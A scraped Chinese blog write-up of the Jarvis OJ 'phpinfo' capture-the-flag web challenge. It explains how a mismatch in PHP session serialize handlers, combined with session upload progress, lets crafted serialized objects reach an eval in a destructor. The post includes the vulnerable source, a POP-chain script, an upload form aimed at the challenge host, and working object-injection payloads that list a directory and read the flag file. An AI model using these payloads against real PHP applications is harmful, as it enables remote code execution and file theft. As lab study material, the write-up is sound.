jarvisoj web phpinfo

Posted Cxlover的博客哦

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了jarvisoj web phpinfo相关的知识,希望对你有一定的参考价值。

jarvisoj phpinfo

涉及知识点:

(1)php序列化和反序列化处理器

php的session信息是储存在文件中的

session.save_path="" 指定储存的路径
session.save_handler="" 指定储存时使用的函数(默认是file)
session.auto_start boolen
session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)

(2)反序列化漏洞

session.serialize_handler存在以下几种

  • php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
  • php 键名+竖线(|)+经过serialize()函数处理过的值
  • php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

使用过程中如果想要修改,使用

ini_set(\'session.serialize_handler\',\'php_serialize\');

但这里设置的handler如果和默认的不同,就会出问题

比如默认是php的handler,在该页面设置为php_serialize

这是如果我们传入一个 \'|O:5:"Class"\';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化

(3)session.upload_progress.enabled

解析:

进入题目界面。发现是一道代码审计。

<?php
//A webshell is wait for you
ini_set(\'session.serialize_handler\', \'php\');//ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = \'phpinfo();\';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET[\'phpinfo\']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents(\'index.php\'));
}
?>

有一说一看到   ini_set(\'session.serialize_handler\', \'php\'); 就要想到php的反序列化处理器。

在php5.5.4之前session.serialize_handler的默认是php。而在php5.5.4之后的版本中php的处理器就是php_serialize。乱换其他的处理器可能会有问题。

本题中的php版本为5.6.21但是设置的session.serialize_handler却是php。本题就是这个知识点引出的漏洞。

审计源码可以知道想要读取其他的文件必须通过析构函数中的eval()函数。

在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类,就能够执行代码??(为什么session可以用?以后补上)

查看phpinfo从而得到我们想要的能够改变session的办法。

 

 因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session。。

所以当一个上传在处理中,POST一个与INI中设置的session.upload_progress.name同名变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

那么我们要干什么就不用说了,写一个本地文件上传程序,来传session.upload_progress.name = payload  就可以了。

先附上pop链。

<?php 
ini_set(\'session.serialize_handler\', \'php\');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = \'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));\';
    }
    
    function __destruct()
    {
       echo serialize();
    }
}

    $m = new OowoO();
    var_dump($m);
    echo serialize($m);


    highlight_string(file_get_contents(\'test.php\'));

?>

本地文件上传到他的服务器的代码如下:

<!DOCTYPE html>
<html>
<head>
    <title>Cxlover</title>
</head>
<body>
<form method="POST" action="http://web.jarvisoj.com:32784/index.php" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="Cxlover">
    <input type="file" name="file">
    <input type="submit" name="Cxlover" value="提交">
</form>
    
</body>

</html>

抓包,改包,发包,一气呵成。先查看本文件夹下的文件名。

构造payload:  |O:5:\\"OowoO\\":1:{s:4:\\"mdzz\\";s:36:\\"print_r(scandir(dirname(__FILE__)));\\";}

 

 发现藏有flag的文件,那么更改一下payload来读取就行了。

payload : |O:5:\\"OowoO\\":1:{s:4:\\"mdzz\\";s:88:\\"print_r(file_get_contents(\\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\\"));\\";}

 

 

 

 

为什么要用 \\ 来转义呢,应该是防止"就近原则"吧。存疑好吧。注意用来序列化的原字符串不用加转义符号。

以上是关于jarvisoj web phpinfo的主要内容,如果未能解决你的问题,请参考以下文章

php序列化与反序列化

Jarvis OJ--PHPINFO

Jarvis OJ--PHPINFO

Jarvisoj-web Login

JarvisOJ平台Web题部分writeup

jarvisoj babyphp